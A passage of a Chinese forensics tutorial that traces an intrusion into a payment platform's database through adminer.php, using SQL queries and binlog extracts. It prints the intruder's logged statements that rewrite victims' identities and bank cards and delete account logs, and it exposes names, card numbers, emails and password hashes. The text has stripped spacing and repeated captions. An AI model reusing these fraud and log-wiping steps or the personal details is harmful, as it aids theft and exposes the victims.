INdw_account_bankasbona.user_id=b.user_idleftjoindw_accountasdona.user_id=d.user_idwherea.user_id=1392ora.user_id=1679ora.user_id=2613ora.user_id=6248”提取这4个用户的基本信息,见下图:图12-3112.3.8分析数据库执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d")fromdw_account_logwhereuser_id=6248andtype='cash_frost'”从数据库的应用日志表“dw_account_log”中提取所有涉及上述4个用户的提现操作记录,见下图:图12-3212.3.8分析数据库执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d")fromdw_account_logwhereuser_id=6248andtype='cash_frost'”从数据库的应用日志表“dw_account_log”中提取所有涉及上述4个用户的提现操作记录,见下图:图12-3312.3.8分析数据库执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d")fromdw_account_logwhereuser_id=6248andtype='cash_frost'”从数据库的应用日志表“dw_account_log”中提取所有涉及上述4个用户的提现操作记录,见下图:图12-3412.3.8分析数据库执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d")fromdw_account_logwhereuser_id=6248andtype='cash_frost'”从数据库的应用日志表“dw_account_log”中提取所有涉及上述4个用户的提现操作记录,见下图:图12-3512.3.8分析数据库在数据库中执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d"),addipfromdw_account_logwhereuser_idin(6248,2613,1392,1679)andtype='cash_frost'”提取上述4涉案用户的提取操作IP地址信息,见下图:图12-3612.3.8分析数据库在数据库中执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d"),addipfromdw_account_logwhereuser_idin(6248,2613,1392,1679)andtype='cash_frost'”提取上述4涉案用户的提取操作IP地址信息,见下图:图12-3712.3.8分析数据库在数据库中执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d"),addipfromdw_account_logwhereuser_idin(6248,2613,1392,1679)andtype='cash_frost'”提取上述4涉案用户的提取操作IP地址信息,见下图:图12-3812.3.8分析数据库在数据库中执行指令“selectuser_id,total,money,use_money,no_use_money,remark,FROM_UNIXTIME(addtime,"%Y-%m-%d"),addipfromdw_account_logwhereuser_idin(6248,2613,1392,1679)andtype='cash_frost'”提取上述4涉案用户的提取操作IP地址信息,见下图:图12-3912.3.8分析数据库从上述提取到的提现IP地址中包含在“adminer.php”页面访问的10个IP地址列表中、提现时间与入侵者访问时间段亦处于同一日期及时间段。对上述分析结果再做一个阶段性总结如下:1.检材数据库中的确存在4条涉嫌数据被篡改用户的提现记录。2.上述4条提现记录日期与apache日志中adminer.php访问时间基本吻合。3.上述4条提现记录的IP地址与adminer.php访问IP吻合。4.入侵者可以通过“adminer.php”完全操纵目标服务器中的数据,所以dw_account_log表中的数据并不十分“可信”。12.3.9数据库binlog日志转换前面的分析结果提取了入侵者IP、可能的入侵时间、涉及受害者的用户ID信息。但还没有办法从日志中分析出入侵者如何实现提现到自己的帐户并将钱转走,入侵者修改了系统中的哪些数据。调查员从检材服务器中提取了MySQL数据库的底层binlog日志。该日志文件的作用是保存所有对数据库修改、增加、删除记录。MySQL数据库的binlog日志属于2进制文件,无法直接使用文本编辑器打开上述日志文件。使用MySQL自带工具mysqlbinlog.exe可以将上述文件转换为.sql纯文本文件。执行下列指令:Mysqlbinlog.exemysql-bin.000001>>all_binlog.sqlMysqlbinlog.exemysql-bin.000002>>all_binlog.sqlMysqlbinlog.exemysql-bin.000003>>all_binlog.sql12.3.9数据库binlog日志转换转换结果all_binlog.sql文件为纯文本文件,该文件总大小为3.19GB,该文件内容如下:图12-4012.3.9数据库binlog日志转换该日志文件的开始记录时间为“1501286:47:48”,日志结束时间为“15061913:42:25”。该日志时间完整覆盖了入侵者攻击服务器的日期时间范围。12.3.10用户id为2613用户操作日志分析执行指令“grep-C5-a-i-E“user_id=\'2613\'|user_id=2613”all_binlog.sql>2613.log”,查询所有binlog操作日志中user_id=2613的操作记录并保存到2613.log文件中。从该日志文件中提取到一条2015年3月30日凌晨2点35分28秒的操作记录,该记录更新了用户id为2613的用户信息,更新用户名为“康静”、身份证号码为代码如下:#at49371671#1503302:35:28serverid100end_log_pos49372187 Query thread_id=1829851 exec_time=0 error_code=0SETTIMESTAMP=1427654128/*!*/;update`dw_user`setpassword='827ccb0eea8a706c4c34a16891f84e7b',paypassword='827ccb0eea8a706c4c34a16891f84e7b',realname='康静',sex='2',card_id=,card_pic1='data/upfiles/images/2014-10/23/2613_userjpg',card_pic2='data/upfiles/images/2014-10/23/2613_userjpg',birthday='147369600',province=3369,city=3370,area=3374,email='20088108@163.com',phone=,lastip='91'whereuser_id=2613/*!*/;#at4937218712.3.10用户id为2613用户操作日志分析上述更新操作时间处于入侵者访问adminer.php的时间范围。该更新操作的IP地址为“91”。2015年3月30日凌晨2点37分08秒,用户提现申请记录表dw_account_cash中更新了一条用户id号为2613的用户提现记录,提现的银行卡号为“6217000010048063385”、开户行地址为“北京丰台万年花城支行”:#at49378905#1503302:37:08serverid100end_log_pos49379101 Query thread_id=1829885 exec_time=0 error_code=0SETTIMESTAMP=1427654228/*!*/;update`dw_account_cash`setbank=302,account='6217000010048063385',branch='北京丰台万年花城支行'whereuser_id=2613/*!*/;#at4937910112.3.10用户id为2613用户操作日志分析2015年3月30日凌晨2点38分33秒,用户操作记录日志表dw_account_log中用户操作记录被删除,该删除操作仅删除了用户id为2613,且日志id号大于81869的操作记录,推测此操作是入侵者为了隐藏自身的提现操作:#at49384487#1503302:38:33serverid100end_log_pos49384615 Query thread_id=1829909 exec_time=0 error_code=0SETTIMESTAMP=1427654313/*!*/;deletefromdw_account_logwhereuser_id=2613ANDid>81869/*!*/;#at4938461512.3.10用户id为2613用户操作日志分析2015年3月30日凌晨2点39分24秒,用户id为2613的用户帐户余额减少了101675:#at49390546#1503302:39:24serverid100end_log_pos49390726 Query thread_id=1829924 exec_time=0 error_code=0SETTIMESTAMP=1427654364/*!*/;update`dw_account`set`use_money`=`use_money`-101675,`no_use_money`=`no_use_money`+101675whereuser_id=2613/*!*/;#at4939072612.3.10用户id为2613用户操作日志分析2015年3月30日上午9点58分,用户id为2613的用户帐户余额中的钱被成功扣除:#at59557892#1503309:58:00serverid100end_log_pos59558070 Query thread_id=1835223 exec_time=0 error_code=0SETTIMESTAMP=1427680680/*!*/;update`dw_account`set`total`=`total`-101675.00,`no_use_money`=`no_use_money`-101675.00whereuser_id=2613/*!*/;#at5955807012.3.10用户id为2613用户操作日志分析2015年4月1日用户id为2613的用户信息被再次更新,其用户名被更新为“吴冰”、身份证号码变更为:#15040117:57:05serverid100end_log_pos103543901 Query thread_id=1894619 exec_time=0 error_code=0SETTIMESTAMP=1427882225/*!*/;update`dw_user`setpassword='5badc23249c416223c98aa6ab09c841a',paypassword='5a557b96af35e650862b41a609ff9ec4',realname='吴冰',sex='2',card_id=,card_pic1='data/upfiles/images/2014-10/23/2613_usergif',card_pic2='data/upfiles/images/2014-10/23/2613_usergif',birthday='95616000',province=40,city=41,area=56,email='20089108@163.com',phone=,lastip='91',lasttime='1419259735'whereuser_id=261312.3.10用户id为2613用户操作日志分析2015年4月1日17点57分45秒,用户id为2613用户的银行卡信息被再次更新,银行卡号被更改为“9843010102287035”,开户行地址被更改为“松江区乐都路支行”:#15040117:57:45serverid100end_log_pos103546154 Query thread_id=1894633 exec_time=0 error_code=0SETTIMESTAMP=1427882265/*!*/;update`dw_account_cash`setbank=471,account='9843010102287035',branch='松江区乐都路支行'whereuser_id=261312.3.10用户id为2613用户操作日志分析上述更新操作发生后没有产生提现记录。12.3.10用户id为2613用户操作日志分析2015年5月31日,该用户的用户信息被更新,用户名被更改为“吴志乐”、身份证号被更改为,更新时使用的IP地址为“86”:#15053121:00:09serverid100end_log_pos1050189170 Query thread_id=3775992 exec_time=0 error_code=0SETTIMESTAMP=1433077209/*!*/;update`dw_user`setpassword='e10adc3949ba59abbe56e057f20f883e',paypassword='e10adc3949ba59abbe56e057f20f883e',realname='吴志乐',sex='1',card_id=,card_pic1='data/upfiles/images/2014-10/07/2613_userJPG',card_pic2='data/upfiles/images/2014-10/07/2613_userJPG',birthday='398534400',province=61,city=62,area=74,qq='404185888',email='20089008@163.com',phone=,lastip='86'whereuser_id=261312.3.10用户id为2613用户操作日志分析2015年5月31日21点02分20秒,该用户提现记录表中被插入了一条提现记录,提现银行卡号为“6212262111003454512”,提取银行卡开户行地址为“玉林博白支行营业室”,提现时使用的IP地址为“45”:#15053121:02:20serverid100end_log_pos1050209839 Query thread_id=3776048 exec_time=0 error_code=0SETTIMESTAMP=1433077340/*!*/;BEGIN----insertinto`dw_account_cash`set`addtime`='1433077427',`addip`='45',`user_id`='2613',`status`='0',`total`='101675',`account`='6212262111003454512',`bank`='300',`branch`='玉林博白支行营业室',`credited`='101675',`fee`='0'12.3.10用户id为2613用户操作日志分析2015年6月1日上午9点29分13秒,用户帐户日志中被插入一条提现失败的记录,该异常操作被管理员发现终止了入侵者的提现行为:#1506019:29:13serverid100end_log_pos1348099 IntvarSETINSERT_ID=321821/*!*/;#at1348099----insertinto`dw_account_log`set`addtime`='1433122153',`addip`='65',`user_id`='2613',`type`='recharge_false',`money`='101675.00',`total`='101675.00',`use_money`='101675',`no_use_money`='0',`collection`='0.00',`to_user`='0',`remark`='提现失败'12.3.11用户id为1679用户操作日志分析2015年3月30日凌晨2点51分29秒,该用户信息被更新真实姓名变为“吴志乐”,身份证号为,更新使用的IP地址为“22”:#1503302:51:29serverid100end_log_pos49421920Querythread_id=1830014exec_time=0error_code=0SETTIMESTAMP=1427655089/*!*/;update`dw_user`setpassword='e10adc3949ba59abbe56e057f20f883e',paypassword='e10adc3949ba59abbe56e057f20f883e',realname='吴志乐',sex='1',card_id=,card_pic1='data/upfiles/images/2014-08/15/1679_userjpg',card_pic2='data/upfiles/images/2014-08/15/1679_userjpg',birthday='398534400',province=61,city=62,area=74,qq='404185888',email='chemyue588@163.com',phone=,lastip='22'whereuser_id=167912.3.11用户id为1679用户操作日志分析2015年3月30日凌晨2点52分26秒,入侵者删除了用户操作记录:#1503302:52:26serverid100end_log_pos49422667Querythread_id=1830035exec_time=0error_code=0SETTIMESTAMP=1427655146/*!*/;deletefromdw_account_logwhereuser_id=1679ANDid>13749712.3.11用户id为1679用户操作日志分析2015年3月30日凌晨2点52分26秒,用户的银行卡信息被更新:#1503302:52:36serverid100end_log_pos49422973Querythread_id=1830039exec_time=0error_code=0SETTIMESTAMP=1427655156/*!*/;update`dw_account_cash`setbank=300,account='6212262111003454512',branch='玉林博白支行营业室'whereuser_id=167912.3.11用户id为1679用户操作日志分析2015年3月30日凌晨2点52分32秒,用户操作日志
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 南通2025年江苏南通市通州区事业单位招聘45人笔试历年参考题库附带答案详解
- 复婚时离婚协议二零二五年
- 私家车出租协议合同书范例二零二五年
- 二零二五财务总监劳动合同
- 二零二五版两层店面出租合同范例
- 二零二五版车位转让协议
- 二零二五保安雇佣合同
- 百货商场租赁合同二零二五年
- 房屋买卖居间合同书范例
- 2025年学校卫生间升级改造项目合同
- 2025年浙江新北园区开发集团有限公司招聘笔试参考题库含答案解析
- 2024年全国职业院校技能大赛(高职组)安徽省集训选拔赛“电子商务”赛项规程
- “艾梅乙”感染者消除医疗歧视制度-
- 北京2025年北京人民艺术剧院面向应届生招聘5人笔试历年参考题库附带答案详解
- 阳光房施工合同范本
- 上海2025年上海应用技术大学招聘笔试历年参考题库附带答案详解
- 高效家居管理生活小窍门全解析
- 校园内电动汽车充电设施规划探讨
- 快递分拣中心快件安全培训
- GB/T 45030-2024寿山石田黄鉴定
- 2024年四川省内江市中考历史真题卷及答案解析
评论
0/150
提交评论